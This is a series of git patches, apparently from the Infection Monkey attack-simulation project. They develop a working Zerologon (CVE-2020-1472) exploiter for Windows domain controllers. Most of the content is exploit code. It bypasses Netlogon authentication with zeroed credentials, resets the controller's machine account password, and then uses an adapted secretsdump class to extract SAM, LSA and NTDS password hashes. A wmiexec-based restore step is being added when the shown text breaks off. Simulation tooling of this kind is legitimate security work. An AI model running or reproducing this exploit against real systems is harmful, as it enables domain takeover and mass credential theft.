b'\x00' * 516 return rpc_con.request(request) - def restore_password(self): - # get nthash using secretsdump and then restore password - pass + def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): + ## get nthash using secretsdump and then restore password + + # Keep authenticating until successful. + LOG.info("Restoring original password...") + + for _ in range(0, self.MAX_ATTEMPTS): + rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) + if rpc_con is not None: + break + + if rpc_con: + LOG.info("DC machine account password should be restored to its original value.") + else: + LOG.info("Failed to restore password.") + + def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): + # Connect to the DC's Netlogon service. + rpc_con = self.connect_to_dc(DC_IP) + + plaintext = b'\x00'*8 + ciphertext = b'\x00'*8 + flags = 0x212fffff + + # Send challenge and authentication request. + server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, DC_HANDLE + '\x00', + DC_NAME + '\x00', plaintext) + server_challenge = server_challenge_response['ServerChallenge'] + + try: + server_auth = nrpc.hNetrServerAuthenticate3( + rpc_con, DC_HANDLE + '\x00', DC_NAME + '$\x00', + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + DC_NAME + '\x00', ciphertext, flags + ) + + # It worked! + assert server_auth['ErrorCode'] == 0 + server_auth.dump() + session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge, + unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) + + try: + authenticator = nrpc.NETLOGON_AUTHENTICATOR() + authenticator['Credential'] = ciphertext + authenticator['Timestamp'] = b"\x00" * 4 + + nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse + nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) + + request = NetrServerPasswordSet() + request['PrimaryName'] = NULL + request['AccountName'] = DC_NAME + '$\x00' + request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel + request['ComputerName'] = DC_NAME + '\x00' + request["Authenticator"] = authenticator + pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), sessionKey) + request["UasNewPassword"] = pwd_data + resp = rpc_con.request(request) + resp.dump() + + except Exception as ex: + LOG.info(f"Unexpected error: {ex}") + + return rpc_con + + except nrpc.DCERPCSessionError as ex: + # Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working. + if ex.get_error_code() == 0xc0000022: + return None + else: + LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}") + + except BaseException as ex: + LOG.info(f"Unexpected error: {ex}") From a4207494ece1002bd65f477829237af0f1bf49bd Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 6 Jan 2021 15:44:44 +0530 Subject: [PATCH 279/466] Change classes order in file --- monkey/infection_monkey/exploit/zerologon.py | 38 ++++++++++---------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 2c180009b..684350947 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -22,25 +22,6 @@ from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger LOG = logging.getLogger(__name__) -class NetrServerPasswordSet(nrpc.NDRCALL): - opnum = 6 - structure = ( - ('PrimaryName', nrpc.PLOGONSRV_HANDLE), - ('AccountName', nrpc.WSTR), - ('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE), - ('ComputerName', nrpc.WSTR), - ('Authenticator', nrpc.NETLOGON_AUTHENTICATOR), - ('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD), - ) - - -class NetrServerPasswordSetResponse(nrpc.NDRCALL): - structure = ( - ('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR), - ('ErrorCode', nrpc.NTSTATUS), - ) - - class ZerologonExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] _EXPLOITED_SERVICE = 'Netlogon' @@ -194,3 +175,22 @@ class ZerologonExploiter(HostExploiter): except BaseException as ex: LOG.info(f"Unexpected error: {ex}") + + +class NetrServerPasswordSet(nrpc.NDRCALL): + opnum = 6 + structure = ( + ('PrimaryName', nrpc.PLOGONSRV_HANDLE), + ('AccountName', nrpc.WSTR), + ('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE), + ('ComputerName', nrpc.WSTR), + ('Authenticator', nrpc.NETLOGON_AUTHENTICATOR), + ('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD), + ) + + +class NetrServerPasswordSetResponse(nrpc.NDRCALL): + structure = ( + ('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR), + ('ErrorCode', nrpc.NTSTATUS), + ) From 5cd8b39f0fc47cd90c27d65db6dc35441e33bdde Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 7 Jan 2021 09:54:33 +0530 Subject: [PATCH 280/466] Get original passwords' hashes --- monkey/infection_monkey/exploit/zerologon.py | 282 ++++++++++++++++++- 1 file changed, 268 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 684350947..c61657d2d 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -3,19 +3,28 @@ Zerologon, CVE-2020-1472 Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/. """ +from __future__ import division, print_function + +import argparse +import codecs import logging - -from impacket.dcerpc.v5 import epm, nrpc, transport - -from impacket.dcerpc.v5 import nrpc, epm -from impacket.dcerpc.v5.dtypes import NULL -from impacket.dcerpc.v5 import transport -from impacket import crypto -from impacket.dcerpc.v5.ndr import NDRCALL -import impacket - +import os +import re +import sys from binascii import hexlify, unhexlify -from Cryptodome.Cipher import DES, AES, ARC4 + +import impacket +from Cryptodome.Cipher import AES, ARC4, DES +from impacket import crypto, version +from impacket.dcerpc.v5 import epm, nrpc, transport +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.ndr import NDRCALL +from impacket.examples import logger +from impacket.examples.secretsdump import (LocalOperations, LSASecrets, + NTDSHashes, RemoteOperations, + SAMHashes) +from impacket.krb5.keytab import Keytab +from impacket.smbconnection import SMBConnection from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger @@ -26,6 +35,33 @@ class ZerologonExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] _EXPLOITED_SERVICE = 'Netlogon' MAX_ATTEMPTS = 2000 + OPTIONS_FOR_SECRETSDUMP =\ + { + 'aes_key': None, + 'bootkey': None, + 'dc_ip': None, + 'debug': False, + 'exec_method': 'smbexec', + 'hashes': None, + 'history': False, + 'just_dc': True, + 'just_dc_ntlm': False, + 'just_dc_user': None, + 'k': False, + 'keytab': None, + 'no_pass': True, + 'ntds': None, + 'outputfile': None, + 'pwd_last_set': False, + 'resumefile': None, + 'sam': None, + 'security': None, + 'system': None, + # target and target_ip are assigned in get_original_pwd_nthash() + 'ts': False, + 'use_vss': False, + 'user_status': False + } def __init__(self, host): super().__init__(host) @@ -65,7 +101,6 @@ class ZerologonExploiter(HostExploiter): LOG.info("Non-zero return code, something went wrong.") ## how do i execute monkey on the exploited machine? - ## restore password else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") @@ -101,8 +136,6 @@ class ZerologonExploiter(HostExploiter): return rpc_con.request(request) def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): - ## get nthash using secretsdump and then restore password - # Keep authenticating until successful. LOG.info("Restoring original password...") @@ -116,6 +149,21 @@ class ZerologonExploiter(HostExploiter): else: LOG.info("Failed to restore password.") + def get_original_pwd_nthash(DC_NAME, DC_IP): + OPTIONS_FOR_SECRETSDUMP['target'] = '\\$@'.join([DC_NAME, DC_IP]) # format for DC account: NetBIOSName\$@10.2.1.1 + OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP + + domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + OPTIONS_FOR_SECRETSDUMP['target']).groups('') + + # In case the password contains '@' + if '@' in remote_name: + password = password + '@' + remote_name.rpartition('@')[0] + remote_name = remote_name.rpartition('@')[2] + + dumper = DumpSecrets(remote_name, username, password, domain, OPTIONS_FOR_SECRETSDUMP) + dumper.dump() + def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): # Connect to the DC's Netlogon service. rpc_con = self.connect_to_dc(DC_IP) @@ -194,3 +242,209 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL): ('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR), ('ErrorCode', nrpc.NTSTATUS), ) + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py +class DumpSecrets: + def __init__(self, remote_name, username='', password='', domain='', options=None): + self.__use_VSS_method = options['use_vss'] + self.__remote_name = remote_name + self.__remote_host = options['target_ip'] + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aes_key = options['aes_key'] + self.__smb_connection = None + self.__remote_ops = None + self.__SAM_hashes = None + self.__NTDS_hashes = None + self.__LSA_secrets = None + self.__system_hive = options['system'] + self.__bootkey = options['bootkey'] + self.__security_hive = options['security'] + self.__sam_hive = options['sam'] + self.__ntds_file = options['ntds'] + self.__history = options['history'] + self.__no_lmhash = True + self.__is_remote = True + self.__output_file_name = options['outputfile'] + self.__do_kerberos = options['k'] + self.__just_DC = options['just_dc'] + self.__just_DC_NTLM = options['just_dc_ntlm'] + self.__just_user = options['just_dc_user'] + self.__pwd_last_set = options['pwd_last_set'] + self.__print_user_status = options['user_status'] + self.__resume_file_name = options['resumefile'] + self.__can_process_SAM_LSA = True + self.__kdc_host = options['dc_ip'] + self.__options = options + + if options['hashes'] is not None: + self.__lmhash, self.__nthash = options['hashes'].split(':') + + def connect(self): + self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) + if self.__do_kerberos: + self.__smb_connection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aes_key, self.__kdc_host) + else: + self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + def dump(self): + try: + if self.__remote_name.upper() == 'LOCAL' and self.__username == '': + self.__is_remote = False + self.__use_VSS_method = True + if self.__system_hive: + local_operations = LocalOperations(self.__system_hive) + bootkey = local_operations.getBootKey() + if self.__ntds_file is not None: + # Let's grab target's configuration about LM Hashes storage + self.__no_lmhash = local_operations.checkNoLMHashPolicy() + else: + import binascii + bootkey = binascii.unhexlify(self.__bootkey) + + else: + self.__is_remote = True + bootkey = None + try: + try: + self.connect() + except Exception as e: + if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True: + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + pass + else: + raise + + self.__remote_ops = RemoteOperations(self.__smb_connection, self.__do_kerberos, self.__kdc_host) + self.__remote_ops.setExecMethod(self.__options['exec_method']) + if self.__just_dc is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: + self.__remote_ops.enableRegistry() + bootkey = self.__remote_ops.getBootKey() + # Let's check whether target system stores LM Hashes + self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() + except Exception as e: + self.__can_process_SAM_LSA = False + if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ + and self.__do_kerberos is True: + # Giving some hints here when SPN target name validation is set to something different to Off + # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ + logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + + 'Try -just-dc-user') + else: + logging.error('RemoteOperations failed: %s' % str(e)) + + # If RemoteOperations succeeded, then we can extract SAM and LSA + if self.__just_dc is False and self.__just_dc_ntlm is False and self.__can_process_SAM_LSA: + try: + if self.__is_remote is True: + SAM_file_name = self.__remote_ops.saveSAM() + else: + SAM_file_name = self.__sam_hive + + self.__SAM_hashes = SAMHashes(SAM_file_name, bootkey, isRemote=self.__is_remote) + self.__SAM_hashes.dump() + if self.__output_file_name is not None: + self.__SAM_hashes.export(self.__output_file_name) + except Exception as e: + logging.error('SAM hashes extraction failed: %s' % str(e)) + + try: + if self.__is_remote is True: + SECURITY_file_name = self.__remote_ops.saveSECURITY() + else: + SECURITY_file_name = self.__security_hive + + self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops, + isRemote=self.__is_remote, history=self.__history) + self.__LSA_secrets.dumpCachedHashes() + if self.__output_file_name is not None: + self.__LSA_secrets.exportCached(self.__output_file_name) + self.__LSA_secrets.dumpSecrets() + if self.__output_file_name is not None: + self.__LSA_secrets.exportSecrets(self.__output_file_name) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error('LSA hashes extraction failed: %s' % str(e)) + + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work + if self.__is_remote is True: + if self.__use_VSS_method and self.__remote_ops is not None: + NTDS_file_name = self.__remote_ops.saveNTDS() + else: + NTDS_file_name = None + else: + NTDS_file_name = self.__ntds_file + + self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, history=self.__history, + noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, + useVSSmethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, + pwdLastSet=self.__pwd_last_set, resumeSession=self.__resume_file_name, + outputFileName=self.__output_file_name, justUser=self.__just_user, + printUserStatus=self.__print_user_status) + try: + self.__NTDS_hashes.dump() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + # We don't store the resume file if this error happened, since this error is related to lack + # of enough privileges to access DRSUAPI. + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) + logging.error(e) + if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: + logging.info("You just got that error because there might be some duplicates of the same name. " + "Try specifying the domain name for the user as well. It is important to specify it " + "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") + elif self.__use_VSS_method is False: + logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') + self.cleanup() + except (Exception, KeyboardInterrupt) as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) + if self.__NTDS_hashes is not None: + if isinstance(e, KeyboardInterrupt): + while True: + answer = input("Delete resume session file? [y/N] ") + if answer.upper() == '': + answer = 'N' + break + elif answer.upper() == 'Y': + answer = 'Y' + break + elif answer.upper() == 'N': + answer = 'N' + break + if answer == 'Y': + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) + try: + self.cleanup() + except: + pass + + def cleanup(self): + logging.info('Cleaning up... ') + if self.__remote_ops: + self.__remote_ops.finish() + if self.__SAM_hashes: + self.__SAM_hashes.finish() + if self.__LSA_secrets: + self.__LSA_secrets.finish() + if self.__NTDS_hashes: + self.__NTDS_hashes.finish() From 8549ba14cf2d1c7fd0d9963457b0f99fd763b8c4 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 10 Jan 2021 00:37:49 +0530 Subject: [PATCH 281/466] Bringing stuff together --- monkey/infection_monkey/exploit/zerologon.py | 129 +++++++++++-------- 1 file changed, 78 insertions(+), 51 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index c61657d2d..6a8ee80c8 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -7,6 +7,7 @@ from __future__ import division, print_function import argparse import codecs +import io import logging import os import re @@ -26,7 +27,8 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets, from impacket.krb5.keytab import Keytab from impacket.smbconnection import SMBConnection -from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger +from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.network.zerologon_fingerprint import ZerologonFinger LOG = logging.getLogger(__name__) @@ -100,15 +102,18 @@ class ZerologonExploiter(HostExploiter): else: LOG.info("Non-zero return code, something went wrong.") + # restore password + self.restore_password(DC_HANDLE, DC_IP, DC_NAME) + ## how do i execute monkey on the exploited machine? else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") def get_dc_details(self): - dc_ip = self.host.ip + dc_ip = self.host.ip_addr dc_name = self.zerologon_finger.get_dc_name(dc_ip) - dc_handle = '\\\\' + DC_NAME + dc_handle = '\\\\' + dc_name return dc_ip, dc_name, dc_handle def is_exploitable(self): @@ -135,34 +140,52 @@ class ZerologonExploiter(HostExploiter): request['ClearNewPassword'] = b'\x00' * 516 return rpc_con.request(request) - def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): + def restore_password(self, DC_HANDLE, DC_IP, DC_NAME): # Keep authenticating until successful. LOG.info("Restoring original password...") - for _ in range(0, self.MAX_ATTEMPTS): - rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) - if rpc_con is not None: - break + LOG.info("DCSync; getting original password hashes.") + original_pwd_nthash = self.get_original_pwd_nthash(DC_NAME, DC_IP) - if rpc_con: - LOG.info("DC machine account password should be restored to its original value.") - else: - LOG.info("Failed to restore password.") + try: + if not original_pwd_nthash: + raise Exception("Couldn't extract nthash of original password.") - def get_original_pwd_nthash(DC_NAME, DC_IP): - OPTIONS_FOR_SECRETSDUMP['target'] = '\\$@'.join([DC_NAME, DC_IP]) # format for DC account: NetBIOSName\$@10.2.1.1 - OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP + for _ in range(0, self.MAX_ATTEMPTS): + rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) + if rpc_con is not None: + break + + if rpc_con: + LOG.info("DC machine account password should be restored to its original value.") + else: + LOG.info("Failed to restore password.") + + except Exception as e: + LOG.error(e) + + def get_original_pwd_nthash(self, DC_NAME, DC_IP): + dumped_secrets = self.get_dumped_secrets(DC_NAME, DC_IP) + for secret in dumped_secrets: + if DC_NAME in secret: + nthash = secret.split(':')[3] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::" + return nthash + + def get_dumped_secrets(self, DC_NAME, DC_IP): + self.OPTIONS_FOR_SECRETSDUMP['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" + self.OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - OPTIONS_FOR_SECRETSDUMP['target']).groups('') + self.OPTIONS_FOR_SECRETSDUMP['target']).groups('') # In case the password contains '@' if '@' in remote_name: password = password + '@' + remote_name.rpartition('@')[0] remote_name = remote_name.rpartition('@')[2] - dumper = DumpSecrets(remote_name, username, password, domain, OPTIONS_FOR_SECRETSDUMP) - dumper.dump() + dumper = DumpSecrets(remote_name, username, password, domain, self.OPTIONS_FOR_SECRETSDUMP) + dumped_secrets = dumper.dump().split('\n') + return dumped_secrets def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): # Connect to the DC's Netlogon service. @@ -245,6 +268,7 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL): # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py +# Used to get original password hash class DumpSecrets: def __init__(self, remote_name, username='', password='', domain='', options=None): self.__use_VSS_method = options['use_vss'] @@ -293,6 +317,11 @@ class DumpSecrets: self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): + orig_stdout = sys.stdout + new_stdout = io.StringIO() + sys.stdout = new_stdout # setting stdout to an in-memory text stream, to capture hashes that would else be printed + dumped_secrets = '' + try: if self.__remote_name.upper() == 'LOCAL' and self.__username == '': self.__is_remote = False @@ -318,14 +347,14 @@ class DumpSecrets: # SMBConnection failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work - logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + LOG.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) pass else: raise self.__remote_ops = RemoteOperations(self.__smb_connection, self.__do_kerberos, self.__kdc_host) self.__remote_ops.setExecMethod(self.__options['exec_method']) - if self.__just_dc is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: + if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: self.__remote_ops.enableRegistry() bootkey = self.__remote_ops.getBootKey() # Let's check whether target system stores LM Hashes @@ -336,13 +365,13 @@ class DumpSecrets: and self.__do_kerberos is True: # Giving some hints here when SPN target name validation is set to something different to Off # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ - logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + - 'Try -just-dc-user') + LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + + 'Try -just-dc-user') else: - logging.error('RemoteOperations failed: %s' % str(e)) + LOG.error('RemoteOperations failed: %s' % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA - if self.__just_dc is False and self.__just_dc_ntlm is False and self.__can_process_SAM_LSA: + if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: try: if self.__is_remote is True: SAM_file_name = self.__remote_ops.saveSAM() @@ -354,7 +383,7 @@ class DumpSecrets: if self.__output_file_name is not None: self.__SAM_hashes.export(self.__output_file_name) except Exception as e: - logging.error('SAM hashes extraction failed: %s' % str(e)) + LOG.error('SAM hashes extraction failed: %s' % str(e)) try: if self.__is_remote is True: @@ -374,7 +403,7 @@ class DumpSecrets: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() - logging.error('LSA hashes extraction failed: %s' % str(e)) + LOG.error('LSA hashes extraction failed: %s' % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work if self.__is_remote is True: @@ -387,7 +416,7 @@ class DumpSecrets: self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, history=self.__history, noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, - useVSSmethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, + useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, pwdLastSet=self.__pwd_last_set, resumeSession=self.__resume_file_name, outputFileName=self.__output_file_name, justUser=self.__just_user, printUserStatus=self.__print_user_status) @@ -405,41 +434,33 @@ class DumpSecrets: os.unlink(resume_file) logging.error(e) if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: - logging.info("You just got that error because there might be some duplicates of the same name. " - "Try specifying the domain name for the user as well. It is important to specify it " - "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") + LOG.error("You just got that error because there might be some duplicates of the same name. " + "Try specifying the domain name for the user as well. It is important to specify it " + "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") elif self.__use_VSS_method is False: - logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') + LOG.error('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') self.cleanup() except (Exception, KeyboardInterrupt) as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - logging.error(e) + import traceback + print(traceback.format_exc()) + LOG.error(e) if self.__NTDS_hashes is not None: if isinstance(e, KeyboardInterrupt): - while True: - answer = input("Delete resume session file? [y/N] ") - if answer.upper() == '': - answer = 'N' - break - elif answer.upper() == 'Y': - answer = 'Y' - break - elif answer.upper() == 'N': - answer = 'N' - break - if answer == 'Y': - resume_file = self.__NTDS_hashes.getResumeSessionFile() - if resume_file is not None: - os.unlink(resume_file) + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) try: self.cleanup() except: pass + finally: + sys.stdout = orig_stdout + new_stdout.seek(0) + dumped_secrets = new_stdout.read() # includes hashes and kerberos keys + return dumped_secrets def cleanup(self): - logging.info('Cleaning up... ') + LOG.info('Cleaning up...') if self.__remote_ops: self.__remote_ops.finish() if self.__SAM_hashes: @@ -448,3 +469,9 @@ class DumpSecrets: self.__LSA_secrets.finish() if self.__NTDS_hashes: self.__NTDS_hashes.finish() + +# how to execute monkey on exploited machine +# clean up logging +# mention in report explicitly - machine exploited/not (return True, if yes) & password restored/not +# mention patching details in report +# add exploit info to documentation From e7485bd02f83c460039a81cc5a45f48e6dffc834 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 10 Jan 2021 00:40:09 +0530 Subject: [PATCH 282/466] Mention CVE --- .../cc/services/config_schema/definitions/exploiter_classes.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 2cbbca431..0d123ac49 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -155,7 +155,7 @@ EXPLOITER_CLASSES = { "ZerologonExploiter" ], "title": "Zerologon Exploiter (UNSAFE)", - "info": "Unsafe exploiter (changes the password of a Windows server domain controller account and " + "info": "CVE-2020-1472. Unsafe exploiter (changes the password of a Windows server domain controller account and " "breaks communication with other domain controllers.) " "Exploits a privilege escalation vulnerability in a Windows server domain controller, " "using the Netlogon Remote Protocol (MS-NRPC).", From 53ef6feadf6b99a73390a87a5ed812ce1d671a3c Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 26 Jan 2021 13:46:01 +0530 Subject: [PATCH 283/466] Restore password (wmiexec to get HKLM keys --> secretsdump to get orig pwd nthash --> restore) --- monkey/infection_monkey/exploit/zerologon.py | 289 +++++++++++++++++-- 1 file changed, 259 insertions(+), 30 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 6a8ee80c8..2631027ed 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -6,18 +6,23 @@ Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://g from __future__ import division, print_function import argparse +import cmd import codecs import io import logging +import ntpath import os import re import sys +import time from binascii import hexlify, unhexlify import impacket from Cryptodome.Cipher import AES, ARC4, DES from impacket import crypto, version from impacket.dcerpc.v5 import epm, nrpc, transport +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.ndr import NDRCALL from impacket.examples import logger @@ -25,7 +30,8 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets, NTDSHashes, RemoteOperations, SAMHashes) from impacket.krb5.keytab import Keytab -from impacket.smbconnection import SMBConnection +from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21, + SMB_DIALECT, SMBConnection) from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.network.zerologon_fingerprint import ZerologonFinger @@ -33,6 +39,24 @@ from infection_monkey.network.zerologon_fingerprint import ZerologonFinger LOG = logging.getLogger(__name__) +_orig_stdout = None +_new_stdout = None + + +def _set_stdout_to_in_memory(): + # set stdout to in-memory text stream, to capture info that would otherwise be printed + _orig_stdout = sys.stdout + _new_stdout = io.StringIO() + sys.stdout = _new_stdout + + +def _unset_stdout_and_return_captured(): + # set stdout to original and return captured output + sys.stdout = _orig_stdout + _new_stdout.seek(0) + return _new_stdout.read() + + class ZerologonExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] _EXPLOITED_SERVICE = 'Netlogon' @@ -58,8 +82,9 @@ class ZerologonExploiter(HostExploiter): 'resumefile': None, 'sam': None, 'security': None, - 'system': None, - # target and target_ip are assigned in get_original_pwd_nthash() + 'system': None, # sam, security, and system are assigned in a copy in get_original_pwd_nthash() + 'target': '', + 'target_ip': '', # target and target_ip are assigned in a copy in get_admin_pwd_hashes() 'ts': False, 'use_vss': False, 'user_status': False @@ -145,11 +170,13 @@ class ZerologonExploiter(HostExploiter): LOG.info("Restoring original password...") LOG.info("DCSync; getting original password hashes.") - original_pwd_nthash = self.get_original_pwd_nthash(DC_NAME, DC_IP) + admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP) try: - if not original_pwd_nthash: - raise Exception("Couldn't extract nthash of original password.") + if not admin_pwd_hashes: + raise Exception("Couldn't extract admin password's hashes.") + + original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes) for _ in range(0, self.MAX_ATTEMPTS): rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) @@ -164,29 +191,75 @@ class ZerologonExploiter(HostExploiter): except Exception as e: LOG.error(e) - def get_original_pwd_nthash(self, DC_NAME, DC_IP): - dumped_secrets = self.get_dumped_secrets(DC_NAME, DC_IP) - for secret in dumped_secrets: - if DC_NAME in secret: - nthash = secret.split(':')[3] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::" - return nthash - - def get_dumped_secrets(self, DC_NAME, DC_IP): - self.OPTIONS_FOR_SECRETSDUMP['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - 